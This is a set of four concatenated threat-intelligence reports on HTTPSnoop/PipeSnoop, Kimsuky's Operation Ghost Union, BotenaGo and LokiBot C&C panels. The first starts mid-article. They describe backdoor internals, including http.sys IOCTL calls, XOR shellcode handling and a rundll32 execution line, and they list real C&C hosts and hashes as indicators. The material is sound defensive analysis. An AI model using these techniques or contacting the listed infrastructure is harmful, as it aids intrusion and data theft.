In recent years, there have been many instances of state-sponsored actors and sophisticated adversaries targeting telecommunications organizations around the world. In 2022, this sector was consistently a top-targeted vertical in Talos IR engagements. Telecommunications companies typically control a vast number of critical infrastructure assets, making them high-priority targets for adversaries looking to cause significant impact. These entities often form the backbone of national satellite, internet, and telephone networks upon which most private and government services rely. Furthermore, telecommunications companies can serve as a gateway for adversaries to access other businesses, subscribers, or third-party providers.
Our IR findings are consistent with reports from other cybersecurity firms outlining various attack campaigns targeting telecommunications companies globally. In 2021, CrowdStrike disclosed a years-long campaign by the LightBasin (UNC1945) advanced persistent threat (APT) targeting 13 telecommunications companies globally using Linux-based implants to maintain long-term access in compromised networks. That same year, McAfee discovered activity targeting telecommunication firms in Europe, the U.S., and Asia dubbed “Operation Diànxùn” linked to the Chinese APT group MustangPanada (RedDelta). This campaign heavily relied on the PlugX malware implant. Also in 2021, Recorded Future reported that four distinct Chinese state-sponsored APT groups were targeting the email servers of a telecommunications firm in Afghanistan, again using the PlugX implant.
The targeting of telecommunications firms in the Middle East is also quite prevalent. In January 2021, Clearsky disclosed the “Lebanese Cedar” APT leveraging web shells and the “Explosive” RAT malware family to target telecommunication firms in the U.S., U.K., and Middle East. In a separate campaign, Symantec noted the MuddyWater APT targeting telecommunication organizations in the Middle East, deploying web shells on Exchange Servers to instrument script-based malware and dual-use tools to carry out hands-on-keyboard activity.
## Masquerading as a Security Component
We also discovered both HTTPSnoop and PipeSnoop masquerading as components of Palo Alto Networks’ Cortex XDR application. The malware executable is named “CyveraConsole.exe,” which is the application that contains the Cortex XDR agent for Windows. The variants of both HTTPSnoop and PipeSnoop we discovered had their compile timestamps tampered with but masqueraded as XDR agent from version 7.8.0.64264. Cortex XDR v7.8 was released on Aug. 7, 2022, and decommissioned on April 24, 2023. Therefore, it is likely that the threat actors operated this cluster of implants during the aforementioned timeframe. For example, one of the “CyveraConsole.exe” implants was compiled on Nov. 16, 2022, falling approximately in the middle of this time window of the life of Cortex XDR v7.8.
### A Primer on HTTPSnoop
HTTPSnoop is a simple, yet effective, new backdoor that uses low-level Windows APIs to interact directly with the HTTP device on the system. It leverages this capability to bind to specific HTTP(S) URL patterns to the endpoint to listen for incoming requests. Any incoming requests for the specified URLs are picked up by the implant, which then proceeds to decode the data accompanying the HTTP request. The decoded HTTP data is, in fact, shellcode that is then executed on the infected endpoint.
HTTPSnoop consists of the same code across all observed variants, with the key difference in samples being the URL patterns that it listens for. So far, we have discovered three variations in the configuration:
- **Generic HTTP URL-based:** Listens for generic HTTP URLs specified by the implant.
- **EWS-related URLs listener:** Listens for URLs that mimic Microsoft’s Exchange Web Services (EWS) API.
- **OfficeCore’s Location Based Services (LBS)-related URL listener:** Listens for URLs that mimic OfficeCore’s LBS/OfficeTrack and telephony applications.
### HTTPSnoop Variants
The DLL-based variants of HTTPSnoop usually rely on DLL hijacking in benign applications and services to get activated on the infected system. The attackers initially crafted the first variant of the implant on April 17, 2023, so that it could bind to specific HTTP URLs on the endpoint to listen for incoming shellcode payloads that are then executed on the infected endpoint. These HTTP URLs resemble those of Microsoft’s Exchange Web Services (EWS) API, a product that enables applications to access mailbox items.
A second variant, generated on April 19, 2023, is nearly identical to the initial version of HTTPSnoop from April 17. The only difference is that this second variant is configured to listen to a different set of HTTP URLs on Ports 80 and 443 exclusively, indicating that the attackers may have intended to focus on a separate non-EWS internet-exposed web server.
The attackers then built a third variant that consisted of a killswitch URL and one other URL that the implant listens to. This implant was crafted on April 29, 2023. This version of the implant was likely an effort to minimize the number of URLs that the implant listens to, to reduce the likelihood of detection.
### HTTPSnoop Analysis
The DLL analyzed simply consists of two key components:
- Encoded Stage 2 shellcode.
- Encoded Stage 2 configuration.
The malicious DLL on activation will XOR decode the Stage 2 configuration and shellcode and run it.
### Stage 2 Analysis
Stage 2 is a single-byte XOR’ed backdoor shellcode that uses the accompanying configuration data to listen for incoming shellcode to execute on the infected endpoint. As part of Stage 2, the sample proceeds to make numerous calls to kernel devices in order to set up a web server endpoint for its backdoor. The implant opens a handle to “\Device\Http\Communication” and calls the HTTP driver API “http.sys!UlCreateServerSession” with IOCTL code 0x1280000 to initialize the connection to the HTTP server. The sample continues by creating a new URL group using http.sys!UlCreateUrlGroup with IOCTL code 0x128010 opens a request queue device “\Device\Http\ReqQueue” and sets the new URL group for the session using http.sys!UlSetUrlGroup with IOCTL code 0x12801d.
Using the decrypted configuration, the sample begins to feed the URLs to the HTTP server via http.sys!UlAddUrlToUrlGroup with IOCTL code 0x128020. This binds the specified URL patterns to a listenable endpoint for the malware to communicate. The implant takes care to not overwrite already existing URL patterns being serviced by the HTTP server, to coexist with previous configurations on the server, such as EWS and prevent URL listener collisions.
With the URLs bound to listen on the kernel’s web server, the malware proceeds to listen in a loop for incoming HTTP requests, carried out via http.sys!UlReceiveHttpRequest. If the headers from the HTTP request contain a configured keyword, in this particular sample’s case, “api_delete,” the listening loop for the infection will terminate. Once a request comes in, it creates a new thread and calls http.sys!UlReceiveEntityBody with IOCTL codes 0x12403b, or 0x12403a when running Windows Server 2022 version 21H2, to receive the full message body from the implant operator. If the request has valid data, the sample proceeds to process the request or else returns an HTTP 302 Found redirect response to the requester.
Valid data comes in the form of a base64-encoded request body. Upon decoding, it proceeds to use the first byte of data to single-byte XOR-decode the rest of the data. Once decrypted, a simple data structure is unveiled. The payload received from the operator is an arbitrary shellcode payload. The execution metadata consists of an uninitialized pointer and size, plus the size of the metadata structure, which is a constant 0x18. These uninitialized pointers are initialized by the execution of the shellcode, used to pass back data to the implant to eventually send back to the operator as a response to the HTTP request.
The ultimate result of the execution of the arbitrary shellcode is returned to the requester (operator) in the form of a base64-encoded XOR-encoded blob. The first byte of the response is a random letter from the ASCII table, which is used to XOR the rest of the response. With this, the malware sends back a 200 OK response with the encoded execution result in its body via http.sys!UlSendHttpResponse with IOCTL code 0x12403f.
## Introducing PipeSnoop
The PipeSnoop implant, created in May 2023, is a simple implant that can run arbitrary shellcode payloads on the infected endpoint by reading from an IPC pipe. Although semantically similar, the PipeSnoop implant should not be considered an upgrade of HTTPSnoop. Both implants are likely designed to work under different environments. The HTTP URLs used by HTTPSnoop along with the binding to the built-in Windows web server indicate that it was likely designed to work on internet-exposed web and EWS servers. PipeSnoop, however, as the name may imply, reads and writes to and from a Windows IPC pipe for its input/output (I/O) capabilities. This suggests the implant is likely designed to function further within a compromised enterprise—instead of public-facing servers like HTTPSnoop—and probably is intended for use against endpoints the malware operators deem more valuable or high-priority. PipeSnoop is likely used in conjunction with another component that is capable of feeding it the required shellcode. (This second component is currently unknown.)
### PipeSnoop Analysis
PipeSnoop is a simple backdoor that, much like HTTPSnoop, aims to act as a backdoor executing arbitrary shellcode on the infected endpoint. In contrast to HTTPSnoop, however, PipeSnoop does not rely on initiating and listening for incoming connections via an HTTP server. As indicated by the name, PipeSnoop will simply attempt to connect to a pre-existing named pipe on the system. Named pipes are a common means of Inter-Process Communication (IPC) on the Windows operating system. The key requirement here is that the named pipe that PipeSnoop connects to should have been already created/established—PipeSnoop does not attempt to create the pipe, it simply tries to connect to it. This capability indicates that PipeSnoop cannot function as a standalone implant (unlike HTTPSnoop) on the endpoint. It needs a second component that acts as a server that will obtain arbitrary shellcode via some methods and will then feed the shellcode to PipeSnoop via the named pipe.
## Masquerading as Benign Traffic on the Wire
We’ve observed HTTPSnoop listening for URL patterns that make it look like the infected system being contacted is a server hosting Microsoft’s Exchange Web Services (EWS) API. The URLs consisted of “ews” and “autodiscover” keywords over Ports 443 and 444. Some of the HTTPSnoop implants use HTTP URLs that masquerade as those belonging to OfficeTrack, an application developed by software company OfficeCore that helps users manage different administrative tasks. In several instances, we see URLs ending in “lbs” and “LbsAdmin,” references to the application’s earlier name (OfficeCore’s LBS System) before it was later rebranded as OfficeTrack. OfficeTrack is currently marketed as a workforce management solution geared toward providing coverage for logistics, order orchestration, and equipment control. OfficeTrack is especially marketed towards telecommunication firms.
## Coverage
Ways our customers can detect and block this threat are listed below:
- Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
- Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
- Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
- Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance, and Meraki MX can detect malicious activity associated with this threat.
- Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
- Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
- Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
- Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Note: We have shared our findings with both Microsoft and Palo Alto Networks for this threat and intrusion set. ClamAV detections are available for this threat: Win.Trojan.WCFBackdoor.
## Indicators of Compromise (IOCs)
Indicators of Compromise associated with this threat can be found. |
# ASEC Report Vol.98 Q1 2020
ASEC (AhnLab Security Emergency-response Center) is a global security response group consisting of malware analysts and security experts. This report is published by ASEC and focuses on the most significant security threats and latest security technologies to guard against such threats.
## Mastermind Behind Operation Ghost Union
Kimsuky is one of the most notorious threat groups that have been actively attacking key organizations in the APAC region. Ever since its discovery in 2013, Kimsuky has been continuously performing malicious activities for data theft. Having started its cyberattack against military-related groups, Kimsuky has now expanded its target to organizations across various fields, including politics, economy, and even society.
AhnLab has been analyzing cyberattack cases led by the Kimsuky group for the past several years. ASEC analysts have noticed that the Kimsuky group has used Andariel group’s malware to distribute additional malware during the attack against South Korea in late 2019. Thus, Kimsuky started using malware developed by other threat groups on top of developing its malware similar to the ones used in the previous attacks. In accordance with the change, AhnLab has named the attack Operation Ghost Union.
This analysis report will cover the profiling and analysis results on the malware used by Kimsuky during Operation Ghost Union in addition to examining the relationship between Kimsuky and the other threat groups.
## Operation Ghost Union Overview
Let us first go over the attack stages of Operation Ghost Union conducted by Kimsuky. The attack stage begins with the Kimsuky group sending an email with a malicious Macro attachment as part of the spear-phishing campaign. Then for each attack stage, Kimsuky group modularized the malware in the form of a backdoor, system info-stealer, keylogger, UAC bypass, and RDP (Remote Desktop Protocol).
The focal point of Operation Ghost Union is that Kimsuky utilized malware of other hacker groups to distribute its malware. Once the system was compromised, Kimsuky would collect and send sensitive data, such as system information and keylogging data, to the C&C server. Based on the analysis of the malware, the entire process tree of Operation Ghost Union can be summarized.
Although the initial malicious Excel file from Stage 1 could not be acquired, the creation of Andariel malware in Stage 2, following the execution of the malicious Excel file, was confirmed by the evidence left in the compromised PC.
## Malware Analysis and Profiling
Now let us deep dive into the detailed analysis and profiling of the key malware used in the Operation Ghost Union attack.
### sen.a / m1.a Malware
1) **sen.a, m1.a Analysis**
From the analysis of sen.a, key features, such as C&C server communication and backdoor, were found in the Query(). Since sen.a is a DLL, it is executed by the following method using Rundll32.exe.
```
sen.a Run Example: Rundll32.exe sen.a, Query()
```
C&C server of sen.a is navor-net.hol.es (185.224.138.29, NE) and is encrypted. During the dynamic analysis, sen.a was found regularly communicating with the C&C server. Also, the first command that sen.a received from the C&C server was discovered. Although 1.png, mentioned in the analysis, is recognized as an image file, it is actually a PHP file, which sends commands to the target PC and receives results.
During the dynamic analysis, the first command received from the C&C server was encrypted to have been saved in the memory area. Following the first decryption (BASE64), it performs the second decryption to download and execute additional malware. sen.a also performs features, such as sending data collected from the target PC.
sen.a also executes commands, as shown in the following table.
| Command | Details |
|-----------|---------|
| WAKE | If time info received from C&C server < __time(): WakeTime incorrect! encrypts and sends to C&C server. If time info received from C&C server > __time(): encrypts ‘I am Sleeping byebye!’ and sends to C&C server. |
| INTE | Sets interval with time info received from C&C server "Set ---- interval %d OK\r\n". |
| DOWNLOAD | Calls HttpSendRequestExA() to download a specific file. |
| DELFILE | Deletes specific registry values and files. |
| UPLOAD | Calls HttpSendRequestExA() to send a specific file. |
| EXECMD | Calls ShellExecuteA() to run a console application. |
| EXECPROG | Calls ShellExecuteA() to run a specific program. |
As shown in the analysis, m1.a that sen.a downloads and runs only contains one feature, which records the list of all the folders and files on the target PC (excluding Windows and its subfolders) into tmp1.enc.
After m1.a collects a list of folders and files, it saves them to tmp1.enc. sen.a then executes the UPLOAD command, sending tmp1.enc to the C&C server. It can be assumed that sen.a sends a list of folders and files collected from the target PC, analyzing the list of folders and files to determine if the PC is the actual target PC or a PC in an analysis environment. It then distributes the malware if the PC is recognized as the target PC.
This process minimizes exposure and increases the success rate of hacking.
### Installer.exe / wstmmgr.dll Malware
1) **Installer.exe Analysis and Profiling**
Installer.exe is a dropper that creates wstmmgr.dll, which carries out the same features as sen.a. The pattern (S^) and the decryption code, which was created by Andariel in the past, indicated the existence of malware within the strings of Installer.exe.
When NT_HEADER of both files is compared, all field values were identical except for Checksum and Certificate Table. Also, further comparison between the hash values for the two files confirmed that the files were identical.
2) **wstmmgr.dll Analysis and Profiling**
Wstmmgr.dll, which Installer.exe created and executed, performs the same feature as sen.a. The only difference they have is their function structure. sen.a is structured to call Query() from ServiceMain(), but wstmmgr.dll has Query() integrated with ServiceMain().
### winsec.dat / Winprim.dat Malware
1) **winsec.dat Analysis**
According to the analysis, the method in which winsec.dat is executed is identical to that of sen.a. There are four functions in winsec.dat, and features of each function were identified.
2) **Winprim.dat Analysis**
The file structure of Winprim.dat is strikingly similar to that of winsec.dat. Upon analyzing strings of the two malware, it was confirmed that while many identical strings exist in both malware, Winprim.dat has more features.
### time.a Malware
1) **time.a Analysis**
time.a is a malware that steals URL, ID, PW, and other information that are saved in cookie and cache of Google Chrome browser. The stolen cookie info is saved in %ProgramData%\ntcookie, and cache info is saved in %ProgramData%\ntpwd in plaintext.
2) **time.a Profiling**
From the analysis on time.a and the variants, it was found that Query() function exists in all of the malware. An additional feature was discovered in the variant active since July 2019, which steals user account info saved in Chrome Cache.
### Conclusion
After much research and analysis on relevant malware, Kimsuky group was found solely responsible for Operation Ghost Union. As for Andariel malware, it can be assumed that Kimsuky used the malware to bypass detection. The relationship between the two threat groups and the mastermind behind the operation was revealed by an analysis conducted on both malware simultaneously.
Operation Ghost Union will be recorded as an example that reminds the industry that while detailed analysis on the malware is essential, deep profiling of all relevant information is equally important.
### Indicators of Compromise (IoC)
#### MD5
| No | MD5 | V3 Alias | V3 Version |
|----|-----|----------|------------|
| 1 | 6dbc4dcd05a16d5c5bd431538969d3b8 | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 2 | 7b0c06c96caadbf6976aa1c97be1721c | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 3 | e00afffd48c789ea1b13a791476533b1 | Dropper/Win32.Akdoor | 2019.12.23.04 |
| 4 | f2d2b7cba74421a490be78fa8cf7111d | Trojan/Win32.BypassUAC | 2019.12.23.04 |
| 5 | 2dea7e6e64ca09a5fb045ef2578f98bc | Dropper/Win32.Akdoor | 2019.12.23.04 |
| 6 | 6671764638290bcb4aedd6c2e1ec1f45 | Backdoor/Win32.Infostealer | 2019.12.23.04 |
| 7 | c09a58890e6d35decf042381e8aec899 | Normal File | 2019.12.23.04 |
| 8 | 367d053efd3eaeefff3e7eb699da78fd | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 9 | 5cddf08d10c2a8829a65d13ddf90e6e8 | Trojan/Win32.Runner | 2019.12.23.04 |
| 10 | 4d6832ddf9e5ca4ee90f72a4a7598e9f | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 11 | e1af9409d6a535e8f1a66ce8e6cea428 | Normal File | 2019.12.23.04 |
| 12 | 44bc819f40cdb29be74901e2a6c77a0c | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 13 | 7fd2e2e3c88675d877190abaa3002b55 | Backdoor/Win32.Akdoor | 2019.12.23.04 |
| 14 | ac6f0f14c66043e5cfbc636ddec2d62c | Dropper/Win32.Akdoor | 2019.12.23.04 |
| 15 | 30bd4c48ccf59f419d489e71acd6bfca | Backdoor/Win32.Akdoor | 2019.12.23.04 |
#### C&C Server / URL / IP
- navor-net.hol.es (185.224.138.29, NE)
- happy-new-year.esy.es (177.234.145.204, BR) |
# BotenaGo Strikes Again - Malware Source Code Uploaded
**January 26, 2022 | Ofer Caspi**
## Executive Summary
In November 2021, AT&T Alien Labs™ first published research on our discovery of new malware written in the open-source programming language Golang. The team named this malware “BotenaGo.” In this article, Alien Labs is updating that research with new information.
Recently, BotenaGo source code was uploaded to GitHub, potentially leading to a significant rise of new malware variants as malware authors will be able to use the source code and adapt it to their objectives. Alien Labs expects to see new campaigns based on BotenaGo variants targeting routers and IoT devices globally. As of the publishing of this article, antivirus (AV) vendor detection for BotenaGo and its variants remains behind with very low detection coverage from most AV vendors.
### Key Takeaways
- BotenaGo malware source code is now available to any malicious hacker or malware developer.
- New BotenaGo samples were found with very low AV detection (3/60 engines).
- With only 2,891 lines of code, BotenaGo has the potential to be the starting point for many new variants and new malware families using its source code.
## Background
In September 2016, source code of one of the most popular botnets named Mirai was leaked and uploaded to one of the hacking community forums, and later uploaded to GitHub with detailed information on the botnet, its infrastructure, configuration, and how to build it. Since the release of that information, the popularity of Mirai has increased dramatically. Multiple malware variants such as Moobot, Satori, Masuta, and others use the source code of Mirai. They then add unique functionality, which has resulted in these multiple variants causing millions of infections. The Mirai botnet targets mostly routers and IoT devices and supports different architectures including Linux x64, different ARM versions, MIPS, PowerPC, and more. Since the Mirai botnet can now be modified and compiled by different adversaries, many new variants have become available over time featuring new capabilities and new exploits.
In our November 2021 research article, Alien Labs first described its findings about the new BotenaGo malware along with technical details. We used online tools such as Shodan to show the potential damage the BotenaGo malware could cause and its potential for putting millions of IoT devices at risk.
Alien Labs recently discovered that the source code of BotenaGo malware was uploaded to GitHub on October 16, 2021, allowing any malicious hacker to use, modify, and upgrade it—or even simply compile it as is and use the source code as an exploit kit, with the potential to leverage all BotenaGo’s exploits to attack vulnerable devices. The original source of the code is yet unknown. In the same repository, we have found additional hacking tools collected from several different sources.
## Source Code Analysis
The malware source code, containing a total of only 2,891 lines of code (including empty lines and comments), is simple yet efficient. It includes everything needed for a malware attack, including but not limited to:
- Reverse shell and telnet loader, which are used to create a backdoor to receive commands from its operator.
- Automatic setup of the malware’s 33 exploits, giving the hacker a “ready state” to attack a vulnerable target and infect it with an appropriate payload based on target type or operating system.
The top of the source code on GitHub shows a comment with the list of current exploits for “supported” vendors and software. As described in our previous blog, the malware initiates a total of 33 exploit functions targeting different routers and IoT devices by calling the function "scannerInitExploits.”
Each exploit function contains the exploit configuration (such as a specific “GET” request) and specific payload for the targeted system. Some exploits are a chain of commands, such as multiple “GET” requests.
The code contains additional configuration for a remote server, including available payloads and a path to folders that contain additional script files to execute on infected devices.
On top of all that, the main function calls together all of the necessary pieces: setting up a backdoor, loading additional payload scripts, initializing exploit functions, and waiting for commands. It is simple and clean malware creation in just 2,891 lines of code.
## Additional Updates
Since our first article on BotenaGo, the samples have continued to be used to exploit routers and IoT devices, spreading Mirai botnet malware. Even more worrisome, the samples continue to have a very low AV detection rate. One of the variants is configured to use a new Command and Control (C&C) server.
It’s worth noting that the IP address for one of BotenaGo’s payload storage servers is included in the list of indicators of compromise (IOC) for detecting exploitation of the Apache Log4j security vulnerabilities.
## Recommended Actions
1. Maintain minimal exposure to the Internet on Linux servers and IoT devices and use a properly configured firewall.
2. Install security and firmware upgrades from vendors as soon as possible.
3. Check your system for unnecessary open ports and suspicious processes.
## Conclusion
Today, BotenaGo variants serve as a standalone exploit kit and as a spreading tool for other malware. Now with its source code available to any malicious hacker, new malicious activity can be added easily to the malware. Alien Labs sees the potential for a significant increase in these malware variants, giving rise to potentially new malware families that could put millions of routers and IoT devices at risk of attack.
## Detection Methods
The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.
**SURICATA IDS SIGNATURES**
- 4001488: AV TROJAN Mirai Outbound Exploit Scan, D-Link HNAP RCE (CVE-2015-2051)
- 4000456: AV EXPLOIT Netgear Device RCE (CVE-2016-1555)
- 4000898: AV EXPLOIT Netgear DGN2200 ping.cgi - Possible Command Injection (CVE-2017-6077)
- 2027093: ET EXPLOIT Possible Netgear DGN2200 RCE (CVE-2017-6077)
- 2027881: ET EXPLOIT NETGEAR R7000/R6400 - Command Injection Inbound (CVE-2019-6277)
- 2027882: ET EXPLOIT NETGEAR R7000/R6400 - Command Injection Outbound (CVE-2019-6277)
- 2830690: ETPRO EXPLOIT GPON Authentication Bypass Attempt (CVE-2018-10561)
- 2027063: ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561)
- 2831296: ETPRO EXPLOIT XiongMai uc-httpd RCE (CVE-2018-10088)
- 4001914: AV EXPLOIT DrayTek Unauthenticated root RCE (CVE-2020-8515)
- 2029804: ET EXPLOIT Multiple DrayTek Products Pre-authentication Remote RCE Outbound (CVE-2020-8515)
- 2029805: ET EXPLOIT Multiple DrayTek Products Pre-authentication Remote RCE Inbound (CVE-2020-8515)
- 4002119: AV EXPLOIT Comtrend Router ping.cgi RCE (CVE-2020-10173)
## Associated Indicators (IOCs)
The following technical indicators are associated with the reported intelligence.
| TYPE | INDICATOR | DESCRIPTION |
|------|-----------|-------------|
| IP | [86].110.32.167:80 | BotenaGo C&C Address |
| IP | [179].43.187.197 | Malware payload server |
| IP | [2].56.56.78 | Malware payload server |
| IP | [209].141.59.56 | Malware payload server |
| SHA1 | cca00b32d610becf3c5ae9e99ce86a320d5dac87 | BotenaGo malware hash |
| SHA1 | eb6bbfe8d2860f1ee1b269157d00bfa0c0808932 | BotenaGo malware hash |
| SHA1 | 01dc59199691ce32fd9ae77e90dad70647337c25 | BotenaGo malware hash |
| SHA1 | 97d5d30a4591df308fd62fa7ffd30ff4e7e4fab9 | BotenaGo Payload |
| SHA1 | e9aa2ce4923dd9e68b796b914a12ef298bff7fe9 | BotenaGo Payload |
| SHA1 | 251b02ea2a61b3e167253546f01f37b837ad8cda | BotenaGo Payload |
| SHA1 | fa10e8b6047fa309a73d99ec139627fd6e1debe1 | BotenaGo Payload |
| SHA1 | 154fc9ea3b0156fbcdcb6e7f5ba849c544a4adfd | BotenaGo Payload |
| SHA1 | 0c9ddad09cf02c72435a76066de1b85a2f5cf479 | BotenaGo Payload |
| SHA1 | b4af080ad590470eefaadc41f777a2d196c5b0ba | BotenaGo Payload |
| SHA1 | 87ef2fd66fdce6f6dcf3f96a7146f44836c7215d | BotenaGo Payload |
| SHA1 | 3c2f4fcd66ca59568f89eb9300bb3aa528015e1c | BotenaGo Payload |
## Mapped to MITRE ATT&CK
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- TA0008: Lateral Movement
- T1210: Exploitation of Remote Services
- T1570: Lateral Tool Transfer
- TA0011: Command and Control
- T1571: Non-Standard port
*Current as of the publishing of this article.*
Tags: malware research, threat intelligence, BotenaGo |
# LokiBot: Dissecting the C&C Panel Deployments
**Aditya K Sood**
## Introduction
First advertised as an information stealer and keylogger when it appeared in underground forums in 2015, LokiBot has added various capabilities over the years and has affected many users worldwide. LokiBot is deployed as a botnet, where a number of compromised systems installed with the malware connect with command-and-control (C&C) servers to send stolen data and receive commands from the botnet operator.
LokiBot has been distributed via phishing campaigns that include malicious attachments or embedded URLs. More recently, it has also been found to hide its source code in image files, using the technique known as steganography. LokiBot installs itself via a downloaded zipped file, which is deleted (in order to avoid detection) once the system has been infected. The malware steals credentials from the compromised system. The stolen data is compressed and exfiltrated via an HTTP channel to a C&C panel.
In this research, we conducted an analysis of the URL structure of the LokiBot C&C panels and how these have evolved over time, concentrating on the C&C panel entry points. In this paper, the ‘entry point’ refers to the web access point used by the botnet operator to manage the botnet. This is basically a PHP web-based C&C panel component that gives the botnet operator administrator capabilities. We also highlight the gate component that is used as an entry point for the bots to communicate and transmit data. The gate can be considered one of the primary components of the C&C panel design because it provides gateway and filtering functionalities. In the majority of cases, the gate component resides on the same server as the C&C panel, but it can be configured or changed accordingly.
The aim of this research is to build intelligence for detection and prevention solutions including security analytics.
## LokiBot C&C Panel: Characteristics
In this section, we look at the characteristics of the LokiBot C&C panel. A number of pointers are provided below:
- The LokiBot C&C panel is designed to use HTTP protocol as its communication mechanism.
- The C&C panel is entirely developed using PHP. The LokiBot C&C panel v3.0 base is built using PHP, which is used in conjunction with C++ and C# (the malware is written in these languages).
- The LokiBot C&C panel consists of two main components: the main administrative panel used by the botnet operator to administer the botnet, and the gate component that provides filtering capabilities so that data received from the compromised systems can be examined and bots can be verified. Other components are developed to ease the handling and management of stolen data from the compromised machines.
- The data exfiltrated from the compromised endpoints is sent to the C&C panel in a compressed format over HTTP. The data is received by the gate component, which validates the authenticity of the data by checking the identity of the bot before the data is processed by the backend database and retrieved by the main C&C panel for the botnet operator to use it.
- LokiBot transmits data in zipped format and data log files are decrypted using a custom encryption and decryption algorithm that is used in conjunction with a Base-64 encoding/decoding mechanism.
- The LokiBot C&C panel can be deployed with anti-automation mechanisms to restrict account cracking attempts over HTTP. For that, a CAPTCHA is supported by the C&C panel.
## LokiBot C&C Panel: Components
The basic structure of the LokiBot C&C panel with all the related components is outlined in Table 1.
| S. No | Component | Details |
|-------|----------------|---------|
| 1 | index.php | Main landing page of the C&C panel from where access is granted to the botnet operator. |
| 2 | gate.php | Intermediate proxy component that acts as an interface between the main C&C panel and the bots running on the compromised machines. |
| 3 | functions.php | Supporting functions such as error_reporting, base64Decrypt and traffic_decrypt are defined in this component. |
| 4 | install.php | Web component used to effectively deploy the C&C panel before spreading infections. The component installs the backend database, etc. to handle the stolen data, providing search capability, configuration tasks for the loader and others. |
| 5 | settings.php | This component configures the settings of the C&C panel including error handling, authentication, authorization, database configuration and others. |
| 6 | auth.php | This is the module deployed to configure the authentication for the C&C panel including how the gate authenticates itself to the C&C panel before storing stolen data in the database. |
| 7 | viewer.php | This component provides viewing capability to the botnet operator in the C&C panel so that data management is easy. |
| 8 | converter.php | This component provides converting capabilities to handle data in more efficient ways. For example, NetScapeToJson is used to convert cookies to JSON format. |
| 9 | search.php | This component provides a search capability to enable the botnet operator to search for and find specific data from the dump of stolen information stored in the backend database. |
| 10 | loader.php | This component is used to load the stolen data from the infected machines that is transferred by the gate component into the database and keep updating the records. This component also loads data from the database to the main C&C panel. |
| 11 | logs/ | Folder used to store logs about stolen data and system-related errors. |
| 12 | tmp/ | Temporary folder used to store the modules that are not required after installation of the C&C panel. |
| 13 | stealer/ | Folder used to store a text file that defines the rules for the bot to steal data from specific URLs and domains. The file is passed to the bot running on the compromised system. |
| 14 | assets/ | Folder used to store modules related to GeoIP, CSS for effective managing and laying out of data in the C&C panel. |
The LokiBot C&C panel uses a gate component, which is written in PHP. The gate component extracts the source IP of the bot from which the connection is initiated. The extracted and analysed headers from the incoming HTTP traffic are presented below:
- X-Forwarded-For (or X-Forwarded-IP) shows that the source IP address is behind a proxy or a load balancer.
- HTTP_CF_CONNECTING_IP shows that the source IP address is behind the Cloudflare Content Delivery Network (CDN).
- X-ProxyUser-IP shows that the source IP address is behind Google Services.
- X-Real-IP shows that the source IP address is behind a load balancer.
Listing 2 shows the basic authentication that can be configured to access the C&C panel. Form-based authentication is also supported.
Listing 3 shows how LokiBot decrypts the log files that are received from the compromised systems. The log file is decoded (or decrypted) using the ‘base64Decrypt’ function. The zipped file is extracted and passed to the ‘TRAFFIC_DECRYPT’ function, which decrypts the file to retrieve the stolen data. Once that operation is performed, a clean zip file containing the stolen data is created and then stored in the directory.
Listing 4 shows the support functions that are defined in the functions.php file. The ‘base64Decrypt’ and ‘TRAFFIC_DECRYPT’ functions highlight how the data decryption routines are handled in the C&C panel.
## Empirical Analysis: C&C Deployments
We looked into 1,960 different LokiBot C&C panel URLs deployed in real time. All the deployments of the C&C panels were using PHP as the main component. The complete URLs comprised both domain names and IP addresses. Generally, IP addresses are used in C&C panels to avoid DNS queries so that DNS traffic can be avoided from the compromised endpoint. This way, the endpoints can connect directly with the C&C panel by initiating the connection to IP address. The data analysis was performed on the primary C&C panel component, i.e. the main entry PHP web page that is used by the botnet operator to administer the botnet.
Table 2 highlights the C&C components utilizing the PHP page as the entry point for the botnet operators to manage the LokiBot instances in the real world. Table 3 highlights the percentage layout of the LokiBot C&C entry points deployed in real time.
| LokiBot C&C Entry Point | Server-side Language | Usage |
|---------------------------------------------|----------------------|-------|
| ‘PvqDq929BSx_A_D_M1n_a.php’ | PHP | 1,861 |
| ‘pen.php’ | PHP | 31 |
| ‘desk.php’ | PHP | 18 |
| ‘omc.php’ | PHP | 12 |
| ‘uMc.php’ | PHP | 17 |
| ‘sand.php’ | PHP | 3 |
| ‘Pvq.php’ | PHP | 12 |
| ‘cs.php’ | PHP | 4 |
| ‘loki.php’ | PHP | 2 |
Table 2: Deployed LokiBot C&C instances.
| LokiBot C&C Entry Point | Percentage |
|---------------------------------------------|------------|
| ‘PvqDq929BSx_A_D_M1n_a.php’ | 94.95% |
| ‘pen.php’ | 1.58% |
| ‘desk.php’ | 0.92% |
| ‘omc.php’ | 0.61% |
| ‘uMc.php’ | 0.87% |
| ‘sand.php’ | 0.15% |
| ‘Pvq.php’ | 0.61% |
| ‘cs.php’ | 0.20% |
| ‘loki.php’ | 0.10% |
Table 3: Percentage analysis of total instances of LokiBot C&C panels.
The details presented here highlight the different entry points that are configured for LokiBot C&C panel communication.
## Inferences
1. Approximately 95% of LokiBot deployments in real time use ‘PvqDq929BSx_A_D_M1n_a.php’ as the main entry point.
2. The ‘admin’ in the string ‘PvqDq929BSx_A_D_M1n_a.php’ is represented as ‘_A_D_M1n_a.php’ to avoid standard-level detections that analyse basic URL structure.
